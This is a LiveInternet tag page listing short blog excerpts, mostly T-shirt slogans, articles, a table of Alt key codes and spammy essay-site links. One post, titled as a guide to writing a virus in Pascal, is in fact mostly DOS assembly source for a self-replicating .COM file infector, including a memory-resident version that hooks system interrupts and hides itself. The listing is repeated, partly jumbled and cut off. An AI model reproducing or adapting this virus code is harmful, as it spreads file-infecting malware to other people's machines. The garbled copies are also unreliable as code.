Случайны выбор дневника Раскрыть/свернуть полный список возможностей


Найдено 1743 сообщений
Cообщения с меткой

написать - Самое интересное в блогах

Следующие 30  »
tempga

50 надписей которые можно написать любимому парню на футболке

Пятница, 19 Июня 2015 г. 18:15 (ссылка)

50 надписей которые можно написать любимому парню на футболке.


Читать далее
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
mindde

Что написать папе на футболке

Среда, 18 Июня 2015 г. 01:21 (ссылка)

Что написать папе на футболке.


Читать далее
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
eeter

Что написать на футболке парню любимому

Среда, 17 Июня 2015 г. 16:18 (ссылка)

Что написать на футболке парню любимому.


Читать далее
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
tempga

Надпись на майке написать для своего парня на день рождение

Понедельник, 16 Июня 2015 г. 02:14 (ссылка)

Надпись на майке написать для своего парня на день рождение.


Читать далее
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
centde

Что можно написать на толстовку

Пятница, 12 Июня 2015 г. 16:34 (ссылка)

Что можно написать на толстовку.


Читать далее
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
nobudazi

Давайте трудиться

Вторник, 17 Мая 2016 г. 17:34 (ссылка)
infopolk.ru/1/U/articles/76...515a134e9d

Давайте трудиться


Эту статью я хотел написать давно, но как-то все откладывал. Все думал, писать или не писать. Если перефразировать: я не писатель, я читатель ...

Комментарии (0)КомментироватьВ цитатник или сообщество
Intafy

Микроновости » Бауманки.НЕТ

Среда, 23 Марта 2016 г. 07:31 (ссылка)
baumanki.net/news/novosti-s...vosti.html


Здравствуйте! Простите, что давненько ничего не писал - сложности одолевают, да ещё и ногу сломал, но ничего страшного, так что продолжаем работать. Итак, в этой статье я хотел бы написать о всех

Комментарии (0)КомментироватьВ цитатник или сообщество
oryoberta

Информационная война в отдельно взятой семье Политикус InfoPolk.ru

Воскресенье, 06 Марта 2016 г. 10:02 (ссылка)
infopolk.ru/1/U/articles/71...144a12aa01

Информационная война в отдельно взятой семье



Написать подобную статью толкнул банальный разговор по скайпу с родным братом, который ещё в 90-е уехал за границу в поисках счастья ...
Комментарии (0)КомментироватьВ цитатник или сообщество
ivapet

Информационная война в отдельно взятой семье

Воскресенье, 06 Марта 2016 г. 09:29 (ссылка)
infopolk.ru/1/U/articles/71...9efd14bb02

Информационная война в отдельно взятой семье


Написать подобную статью толкнул банальный разговор по скайпу с родным братом, который ещё в 90-е уехал за границу в поисках счастья ...

Комментарии (0)КомментироватьВ цитатник или сообщество
anob

Информационная война в отдельно взятой семье

Воскресенье, 06 Марта 2016 г. 05:28 (ссылка)
infopolk.ru/1/U/articles/71...5c6ab90332


Написать подобную статью толкнул банальный разговор по скайпу с родным братом, который ещё в 90-е уехал за границу в поисках счастья
...

Комментарии (0)КомментироватьВ цитатник или сообщество
ihorkip

Что написать девушке

Воскресенье, 31 Января 2016 г. 17:17 (ссылка)


Если ты не умеешь писать сообщения, на которые ответят женщины, не сумеешь договориться на свидание, то у тебя нет шанса на знакомство, которое может измениться в прочную связь.



Читать далее...
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
vsemmoney

Игра "Слова" - Форумные игры - Форум о заработке в интернете и инвестициях

Среда, 27 Января 2016 г. 18:16 (ссылка)
vsemmoney.ru/topic/1843-igra-slova/


Игра "Слова" - отправлено в Форумные игры:

 



 

Если в конце попал к примеру Ъ, Ь или Ы, то выбира...

Комментарии (0)КомментироватьВ цитатник или сообщество
Совет1

Как написать статью

Суббота, 19 Декабря 2015 г. 05:16 (ссылка)

Существует несколько эффективных приемов, которые могут помочь любому человеку в процессе написания статьи ...Далее

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
Valeriya_v

Новогодняя стенгазете для детей детского сада начальных классов » ВамКоМне!

Пятница, 11 Декабря 2015 г. 11:25 (ссылка)
vamkom.com/material-dlya-sh...assov.html


Новогодняя стенгазета для детского сада, и начальной школы. Осталось только красиво все это разрисовать карандашами или красками. Написать в отведенном окошке красивое поздравление с Новым 2016

Комментарии (0)КомментироватьВ цитатник или сообщество
DJmp-3

The Chemodan - Абсурд и аллегория (2015)

Воскресенье, 06 Декабря 2015 г. 10:45 (ссылка)
djmp-3.com/rap/2012-the-che...-2015.html

The Chemodan - Абсурд и аллегория (2015)


 

Новый релиз от the Chemodan Clan, а по сути — сольный альбом Грязного Луи. Всю музыку на релиз писал FD Vadim, который так описывает процесс работы над альбомом: "Я поставил себе задачу написать непохожих друг на друга инструменталов, объединенных той же мистикой, магией и мрачной тайной, присущей манере исполнения Луи".

Комментарии (0)КомментироватьВ цитатник или сообщество
lenov_ru

Train driving simulator » Русский Google Play - игры Android без вирусов и регистрации

Суббота, 21 Ноября 2015 г. 09:03 (ссылка)
mod-hak.ru/game/simulators/...lator.html


Train driving simulator - Добро пожаловать в симулятор железной дороги! Ваша задача в этой игре управлять поездом и наблюдать за происходящим прямо из кабины машиниста. Перевозите пассажиров от

Комментарии (0)КомментироватьВ цитатник или сообщество
faiz2000

Волшебное слово на скидку: DEDMOROZ.ru-2016 Ограниченно! — Читать продолжение...

Четверг, 08 Октября 2015 г. 10:30 (ссылка)
vk-podari.ru/pisma-deda-mor...henno.html

Волшебное слово на скидку: DEDMOROZ.ru-2016 Ограниченно!
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
Ира_Ивановна

Клавиатура NumLock для написания символов.

Вторник, 01 Сентября 2015 г. 07:46 (ссылка)

Это цитата сообщения Katya_Anciferova Оригинальное сообщение

Чтобы написать символ, воспользуйтесь NumLock клавиатурой.

Приветик. Согласитесь, но очень часто мы хотим написать какой-то символ в тексте, но не знаем как это сделать! Вот Вам небольшая подсказка!
Пользуйтесь на здоровье!

NZ9lk1E70pM (556x324, 113Kb)
Для этого установите курсор в нужное место, и с зажатым альтом наберите на боковой NumLock клавиатуре его код, после чего отпустите Alt.
Вот список некоторых часто применяемых символьных кодов:
0136 € Евро
0145 ‘ Перевернутый апостроф
0149 • Большая точка
0153 ™ Торговая марка
0167 § Параграф
0169 © Копирайт
0171 « Открывающая елочка
0174 ®
0176 ° Знак градуса
0177 ±
0183 · Точка по центру
0187 » Закрывающая елочка






Вот и последние денечки лета уходят от нас, а это значит, что скоро придет осень и пора подумать про обновление своего гардероба! Все девочки любят носить осенью и зимой валеночки, они никогда наверное не выйдут из моды, каждый год появляется что-то новенькое и хитовое. А Заказать угги можно тут - para-uggov.ru. Девочки, будьте в тренде этой осенью!
Метки:   Комментарии (1)КомментироватьВ цитатник или сообщество
kfat32

Пишем вирус на PASKAL

Среда, 26 Августа 2015 г. 11:19 (ссылка)

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir; Передача управления
org 110h
vir: push ds; Сохраним DS ...
mov ax,ds ;регистр DS ...
db 05h ;Код команды
add_to_ds: dw 0 ; " ADD AX,00h "
mov ds,ax ;AX -> DS ...
fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cx,80h ;
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
save_dta:
mov al,byte ptr cs:[bx];Читаем из DTA
mov ds:[si],al ;сим его в мас-
;сив ...
inc bx ;К новому байту
inc si ;
loop save_dta ;Цикл 128 раз
mov cs:[102h],al
find_first:
mov ah,4eh ;Поиск первого
mov cx,00100110b ;archive, system
;hidden
lea dx,maska ;Маска для поис-
int 21h
jnc r_3 ;Нашли !
jmp restore_dta ;Ошибка !
find_next: mov ah,3eh ;Закроем
int 21h ;ходящий файл...
jnc r_2
jmp restore_dta ;Файл нельзя

r_2: mov ah,4fh ;И найдем
int 21h ;дующий ...
jnc r_3 ;Файл найден !
jmp restore_dta ;Ошибка !

r_3: mov cx,12 ;Сотрем в
lea si,fn ;"fn" имя пред-
destroy_name: ;ыдущего
mov byte ptr [si],0 ;
inc si ;
loop destroy_name ;Цикл 12 раз
xor si,si ;И запишем в бу-
copy_name: mov al,byte ptr cs:[si+9eh];фер имя только
cmp al,0 ;что найденного
je open ;В конце имени в
mov byte ptr ds:fn[si],al;
inc si ;ит ноль, его мы
open:mov ax,3d02h; Открыть файлдля
lea dx,fn; Имя файла ...
int 21h
jnc save_bytes
jmp restore_dta ;Файл не
save_bytes:; Считаем три байта :
mov bx,ax; Сохраним дескриптор в
mov ah,3fh ;Номер функции
mov cx,3 ;Сколько байт ?
lea dx,old_bytes;Буфер для
int 21h
jnc found_size
jmp close ;Ошибка !
jmp copy_name ;и хотим
found_size:
mov ax,cs:[09ah] ;Найдем размерфайла
count_size:mov si,ax
cmp ax,64000 ;Файл длиннее
jna toto ;Нет ...
jmp find_next ;Да - тогда он не
toto: test ax,000fh ;Округлим размер
jz krat_16 ;до целого числа
or ax,000fh ;параграфов в
inc ax ;большую сторону
krat_16: mov di,ax;И запишем ок-
sub ax,3 ;Сама команда
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di ;Сколько пара-
mov cl,4 ;графов содержит
shr ax,cl ;заражаемая про-
dec ax ;Учитываем
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !
read_last: ;И считаем
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !
cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше
jmp find_next ;Да- поищем
write_vir: mov ax,4200h
xor cx,cx ;затель на конец
mov dx,di ;файла ...
int 21h
jc close ;При ошибке -
mov ah,40h ;Запишем в
lea dx,vir ;ной vir_len
int 21h
jc close ;При ошибке -
write_bytes:
mov ax,4200h ;Установим
xor cx,cx ;затель на нача-
xor dx,dx ;ло файла
int 21h
jc close ;При ошибке -
mov ah,40h ;Запишем в
mov cx,3 ;первые три
lea dx,new_bytes ;та ( команду
int 21h ;перехода ) ...
close: mov ah,3eh ;
int 21h ;
restore_dta:
mov cx,80h ;
mov bx,80h ;
lea si,old_dta ;Адрес массива
dta_fresh:
mov al,ds:[si] ;
mov byte ptr cs:[bx],al;
inc bx ;К новому байту
inc si ;
loop dta_fresh ;Цикл 128 раз
pop ds ;
push cs ;
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;
retf ;
old_bytes db 0e9h ;
dw vir_len + 0dh ;
old_dta db 128 dup (0) ;
maska db '*.com',0 ;
fn db 12 dup (' '),0 ;
new_bytes db 0e9h ;
db 00h ;та вируса в
db 00h ;файле ...

last db 0 ;
db '7' ;
vir_len equ $-vir ;
prg_end: mov ah,4ch ;
INT 21H ;
db '7' ;
prg ends ;
end.


start
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir
org 110h
vir: push ds ;
mov ax,ds ;регистр DS ...
db 05h ;Код команды
add_to_ds: dw 0 ;
mov ds,ax ;AX -> DS ...
fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
mov cx,80h ;
mov bx,80h ;
lea si,old_dta ;Адрес массива
save_dta:
mov al,byte ptr cs:[bx];
mov ds:[si],al ;
inc bx ;К новому байту
inc si ;
loop save_dta ;
find_first:
mov ah,4eh ;
mov cx,00100110b ;
archive, system;
hidden
lea dx,maska ;
int 21h
jnc r_3 ;Нашли !
jmp restore_dta ;Ошибка !
find_next: mov ah,3eh ;
int 21h ;ходящий файл...
jnc r_2
jmp restore_dta ;
r_2: mov ah,4fh ;
int 21h ;дующий ...
jnc r_3 ;Файл найден !
jmp restore_dta ;Ошибка !
r_3: mov cx,12 ;
lea si,fn ;"fn" имя пред-
destroy_name: ;
mov byte ptr [si],0 ;
inc si ;
loop destroy_name ;
xor si,si ;И запишем в бу-
copy_name: mov al,byte ptr cs:[si+9eh];
cmp al,0 ;
je open ;В конце имени в
mov byte ptr ds:fn[si],al;
inc si ;ит ноль, его мы
jmp copy_name ;
open: mov ax,3d02h ;
lea dx,fn ;Имя файла ...
int 21h ;Функция DOS
jnc save_bytes
jmp restore_dta ;
save_bytes: ;
mov bx,ax ;
mov ah,3fh ;Номер функции
mov cx,3 ;Сколько байт ?
lea dx,old_bytes ;
int 21h
jnc found_size
jmp close ;Ошибка !
found_size:
mov ax,cs:[09ah] ;
count_size:mov si,ax
cmp ax,64000 ;
jna toto ;Нет ...
jmp find_next ;
toto: test ax,000fh ;
jz krat_16 ;до целого числа
or ax,000fh ;параграфов в
inc ax ;большую сторону
krat_16: mov di,ax ;
sub ax,3 ;
mov byte ptr new_bytes[1],al
;Смещение найде-
mov byte ptr new_bytes[2],ah
;но !
mov ax,di ;Сколько пара-
mov cl,4 ;графов содержит
shr ax,cl ;заражаемая про-
;грамма ?
dec ax ;Учитываем дейс-
;твие директивы
;ORG 110h ...
mov byte ptr add_to_ds,al
;Корректирующее
mov byte ptr add_to_ds+1,ah
;число найдено !

mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !

read_last: ;И считаем этот
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !

cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше
jmp find_next ;Да- поищем дру-
;гой файл ...

write_vir: mov ax,4200h ;Установим ука-
xor cx,cx ;затель на конец
mov dx,di ;файла ...
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,vir_len ;код вируса дли-
lea dx,vir ;ной vir_len
int 21h
jc close ;При ошибке -
;закроем файл
write_bytes:
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на нача-
xor dx,dx ;ло файла
int 21h
jc close ;При ошибке;закроем файл

mov ah,40h ;Запишем в файл
mov cx,3 ;первые три бай-
lea dx,new_bytes ;та ( команду
int 21h ;перехода ) ...
close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл ...
restore_dta:
mov cx,80h ;Размер DTA -
;128 байт ...
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
dta_fresh:
mov al,ds:[si] ;Читаем из мас-
;сива "old_dta"
mov byte ptr cs:[bx],al;байт и перено-
;сим его в DTA
inc bx ;К новому байту
inc si ;
loop dta_fresh ;Цикл 128 раз

pop ds ;Восстановим
;испорченный DS
push cs ;Занесем в стек
;регистр CS
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;Занесем в стек
;число 100h
retf ;Передача управ-
;ления на задан-
;ный адрес ...

;\*Data area ...

old_bytes db 0e9h ;Исходные три
;байта заражен-
dw vir_len + 0dh ;ной программы

old_dta db 128 dup (0) ;Здесь вирус
;хранит исходную
;DTA программы
maska db '*.com',0 ;Маска для поис-
;ка файлов ...
fn db 12 dup (' '),0 ;Сюда помещается
;имя файла -жер-
;твы ...
new_bytes db 0e9h ;Первые три бай-
db 00h ;та вируса в
db 00h ;файле ...

last db 0 ;Ячейка для пос-
;леднего байта
db '7' ;Последний байт
;вируса в файле

vir_len equ $-vir ;Длина вирусного
;кода ...

prg_end: mov ah,4ch ;Завершение за-
INT 21H ;пускающей программы ...
db '7';
prg ends;
end start.

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir; Передача управления вирусному коду
org 110h
vir: db 0ebh ;90h - Для рези-
db push_len ;90h резидентной работы.
pushf ;Запишем флаги в стек ...
cmp cs:tg_infect-110h,1;Активизироваться ?
je cs:vir_2 ;Да ...
call dword ptr cs:old_28h - 110h
;Нет - вызовем
;старый обработ-
;чик INT 28h,
;чтобы не топить
;другие TSR ...
iret

vir_2: popf ;Переключаем
;стек для TSR -
;исполнения на
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
db 0ebh ;90h - Для рези-
db push_len ;90h дентной
; работы .
;Переключаем
;стек для TSR -
;исполнения на
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
pushf ;Сохраним в сте-
push ax ;ке регистры ...
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к заражению файлов
push_len equ $-vir - 2

mov ax,ds ;Корректируем DS
;для нерезидент-
;ной работы ...
db 05h ;Код команды
add_to_ds: dw 0 ;" ADD AX,00h "
mov ds,ax
mov ax,0f000h ;Проверим, есть
mov bx,1997h ;вирус в памяти,
int 2fh ;или еще нет ...
jc fresh_bytes

cmp al,0ffh
jne free_mem ;Нет -
;устанавливаем
fresh_bytes: ;Восстанавливаем
mov al,old_bytes ;первые три бай-
;та зараженной
mov cs:[100h],al ;программы ...
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
Восстановить значения сегментных регистров:
mov ax,cs ;Восстанавливаем
;сегментные
mov es,ax ;регистры ...
mov start_cs,ax
mov ds,ax
И выполнить переход на начало этой программы:
jmp cl_conv_1 ;Передаем управ-
cl_conv_1: db 0eah ;ление заражен-
dw 100h ;ной программе
start_cs dw 0
free_mem: mov ah,4ah ;Определим объем
;доступной памя-
;ти ...
mov bx,0ffffh ;Заведомо невоз-
int 21h ;можное значение
;(0ffffh) !
;Ошибка будет
;обязательно, и
;проверять ее
;наличие
;не нужно !
sub bx,vir_par + 2 ;Оставим вирусу
;на 2 параграфа
;больше, чем
;он сам занимает
mov ah,4ah ;А остальная па-
int 21h ;мять будет
jc fresh_bytes ;занята ...

mov ah,48h ;Попросим DOS
;отдать свобод-
;ный блок нам .
mov bx,vir_par + 1 ;Запас в один
int 21h ;параграф ...
jc fresh_bytes ;Ошибка !
xor di,di ;Делаем вирус
mov bx,ax ;"невидимым" в
dec bx ;памяти ...
mov word ptr cs:[2],bx
mov es,bx
mov bx,0070h
mov es:[di+1],bx
;_________________________________________________
mov es,di ;Получаем векто-
;ра прерываний
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx

mov di,0bch ;Int 2fh ...
mov bx,es:[di]
mov old_2fh,bx
mov bx,es:[di+2]
mov old_2fh_2,bx

mov di,04ch ;Int 13h ...
mov bx,es:[di]
mov old_13h,bx
mov bx,es:[di+2]
mov old_13h_2,bx

mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti

mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;вирус к рези-
;дентной работе

mov es,ax ;И копируем его
xor di,di ;в память...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy


xor bx,bx ;Устанавливаем
;вектора преры-
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h
mov es:[di+2],ax ; Int 21h

mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh

mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h

mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti

jmp fresh_bytes ;Установка
;завершена ...
infect: push cs ;DS = CS ...
pop ds

mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax

cmp tg_13h,0 ;INT 13h
;выполняется ?
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход

all_right: mov ah,2fh ;Получим текущую
int 21h ;DTA ( ES : BX )

mov bp,bx

mov cx,80h ;Сохраним эту
lea si,dta_save ;DTA ...
mov di,bp
save_dta:
mov al,byte ptr es:[di]
mov [si],al
inc si
inc di
loop cs:save_dta

find_first: ;Найдем первый
mov ah,4eh ;файл ...
mov cx,00100111b
lea dx,maska
int 21h
jnc cs:retry_2
jmp restore_dta

find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл
jnc cs:retry_1
jmp cs:restore_dta

retry_1: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:retry_2
jmp cs:restore_dta

retry_2: mov cx,12 ;Сотрем старое
lea si,fn ;имя в буфере
destroy_name:
mov byte ptr [si],0
inc si
loop cs:destroy_name

xor si,si ;И запишем туда
mov di,bp ;новое ...
copy_name: mov al,byte ptr es:[di+1eh]
cmp al,0
je cs:check_command
mov byte ptr fn[si],al
inc si
inc di
jmp cs:copy_name

check_command:
;Проверим, не
;является - ли
call cs:search ;файл командным
cmp inside,1 ;процессором...
je cs:retry_1

mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:save_bytes
jmp cs:restore_dta

save_bytes: ;Считаем первые
mov bx,ax ;три байта
mov ah,3fh
mov cx,3
lea dx,old_bytes
int 21h
jnc cs:found_size
jmp cs:close

found_size:mov di,bp
cmp word ptr es:[di+01ch],0
jne cs:more_64K ;Найдем его раз-
mov ax,es:[di+01ah] ;мер ...

count_size:mov si,ax ;Вычислим
;смещения ...
cmp ax,64000
jna cs:smallest
more_64K: jmp cs:find_next
smallest: test ax,000fh
jz cs:krat_16
or ax,000fh
inc ax
krat_16: mov di,ax
sub ax,3
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di
mov cl,4
shr ax,cl
dec ax
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah

mov ax,4200h ;Считаем послед-
xor cx,cx ;ний байт ...
dec si
mov dx,si
int 21h
jnc cs:read_last
jmp cs:close

read_last:
mov ah,3fh
mov cx,1
lea dx,last
int 21h
jc cs:close

cmp last,'1' ;Индикатор зара-
jne cs:write_vir ;жения ...
jmp cs:find_next

write_vir: mov ax,4200h ;Запишем начало
xor cx,cx ;вируса ...
mov dx,di
int 21h
jc cs:close

mov ah,40h
mov cx,2
lea dx,end_file
int 21h
jc cs:close
;И остальную
mov ah,40h ;часть ...
mov cx,vir_len - 2
lea dx,vir + 2
int 21h
jc cs:close

write_bytes: ;Запишем первые
mov ax,4200h ;три байта
xor cx,cx
xor dx,dx
int 21h
jc cs:close

mov ah,40h
mov cx,3
lea dx,new_bytes
int 21h

close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл

restore_dta:
mov cx,80h ;Восстановим DTA
lea si,dta_save
mov di,bp
dta_fresh:
mov al,[si]
mov byte ptr es:[di],al
inc si
inc di
loop cs:dta_fresh
exit_zarasa: ;Восстановим
;регистры
;процессора ...
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
mov ss,cs:ss_save-110h ;Восстановим
mov sp,cs:sp_save-110h ;стек ...
iret
new_13h: jmp cs:start_13h

tg_13h db 0
ax_13h dw 0
cs_13h dw 0
ip_13h dw 0

start_13h: mov cs:tg_13h - 110h,1
pushf
db 9ah ;Код команды
old_13h dw 0 ; " CALL " ...
old_13h_2 dw 0
mov cs:ax_13h - 110h,ax;Поместим новый
pop ax ;флаг на место
mov cs:ip_13h - 110h,ax;старого ( CF )
pop ax
mov cs:cs_13h - 110h,ax
pop ax
pushf
mov ax,cs:cs_13h - 110h
push ax
mov ax,cs:ip_13h - 110h
push ax
mov ax,cs:ax_13h - 110h
mov cs:tg_13h - 110h,0
iret

to_new_21h equ $-vir

new_21h: jmp cs:start_21h

tg_infect db 0

start_21h: pushf
push di
push es
xor di,di ;Перехват
mov es,di ;INT 24h в рези-
mov di,90h ;дентном режиме
mov word ptr es:[di],to_new_24h
mov es:[di+2],cs
cmp ah,03bh ;Активизировать
;вирус ?
jne cs:new_cmp_1
mov cs:tg_infect-110h,1;Да - взводим
;триггер ...
new_cmp_1: cmp ah,00eh
jne cs:to_jump
mov cs:tg_infect - 110h,1
to_jump: pop es
pop di
popf
db 0eah ;Переход на ста-
old_21h dw 0 ;рый обработчик
old_21h_2 dw 0 ;INT 21h ...

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
Intafy

Скайп-образование » Бауманки.НЕТ

Среда, 12 Августа 2015 г. 22:36 (ссылка)
baumanki.net/news/novosti-o...vanie.html


Небольшая статья посвящённая интернет образованию и преимущественно с использованием скайпа. Я сторонник современных технологий, но, честно говоря, по скайпу у меня плохо получалось преподавать. Как

Комментарии (0)КомментироватьВ цитатник или сообщество
avtobakero

Облигация | Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика |Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMillions,Powerball,EuroMillions

Понедельник, 14 Июля 2015 г. 00:35 (ссылка)
bakero.ru/referats/obligation.php


Облигация,эмиссионная ценная бумага,эмитент облигации,купонный доход,номинальная стоимость,имущественный эквивалент,процент от номинальной стоимости облигации,дисконт,процент,доход,Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика,Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMillions,Powerball,EuroMillions,La Primitiva,определения,термины,понятия,дефиниции,рынок ценных бумаг,фондовая биржа,Закон О рынке ценных бумаг

Комментарии (0)КомментироватьВ цитатник или сообщество
avtobakero

Закладная, ипотека, залог имущества | Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика |Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMilli

Понедельник, 14 Июля 2015 г. 00:33 (ссылка)
bakero.ru/referats/zakladnaya.php


Закладная,ипотека,залог имущества,Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика,Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMillions,Powerball,EuroMillions,La Primitiva,определения,термины,понятия,дефиниции,рынок ценных бумаг,фондовая биржа,Закон Об ипотеке,трейдинг,дивиденд,прибыль,заемщик,должник,залогодержатель,владелец закладной,ипотечный сертификат участия,кредитор,ипотечный кредит,ипотечный калькулятор,ипотечный брокер,ипотечный агент,mortgage,ипотечные фонды,кредит под залог недвижимости,недвижимость,недвижимое имущество

Комментарии (0)КомментироватьВ цитатник или сообщество
avtobakero

Акция | Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика |Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMillions,Powerball,EuroMillions,La

Понедельник, 13 Июля 2015 г. 08:42 (ссылка)
bakero.ru/referats/stock.php


Акция,Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,доклады,аналитика,Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи MegaMillions,Powerball,EuroMillions,La Primitiva,определения,термины,понятия,дефиниции,рынок ценных бумаг,фондовая биржа,Закон О рынке ценных бумаг,эмиссия,эмитент,эмиссионная ценная бумага,именная ценная бумага,stock,share,New York Stock Exchange,трейдинг,дивиденд,прибыль,акционерное общество

Комментарии (0)КомментироватьВ цитатник или сообщество
avtobakero

Конституционная монархия в Англии в XVII-XVIII веках | Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право |Обучение торговле на фондовой бирже,Торговые роботы, Forex, российские и международные лотереи

Вторник, 07 Июля 2015 г. 08:29 (ссылка)
bakero.ru/referats/england.php


Англия,Великая хартия вольностей,огораживание,Habias Corpus act,Билль о правах,Конституционная монархия в Англии в XVII-XVIII веках,Курсовые работы, рефераты,дипломные проекты, статьи, скачать,написать,читать,книги,право,история государства и права зарубежных стран,история государства и права России,юриспруденция,обучение,образование,институт,университет,академия,Оливер Кромвель,королева Англии,Долгий парламент

Комментарии (0)КомментироватьВ цитатник или сообщество

Следующие 30  »

<написать - Самое интересное в блогах

Страницы: [1] 2 3 ..
.. 10

LiveInternet.Ru Ссылки: на главную|почта|знакомства|одноклассники|фото|открытки|тесты|чат
О проекте: помощь|контакты|разместить рекламу|версия для pda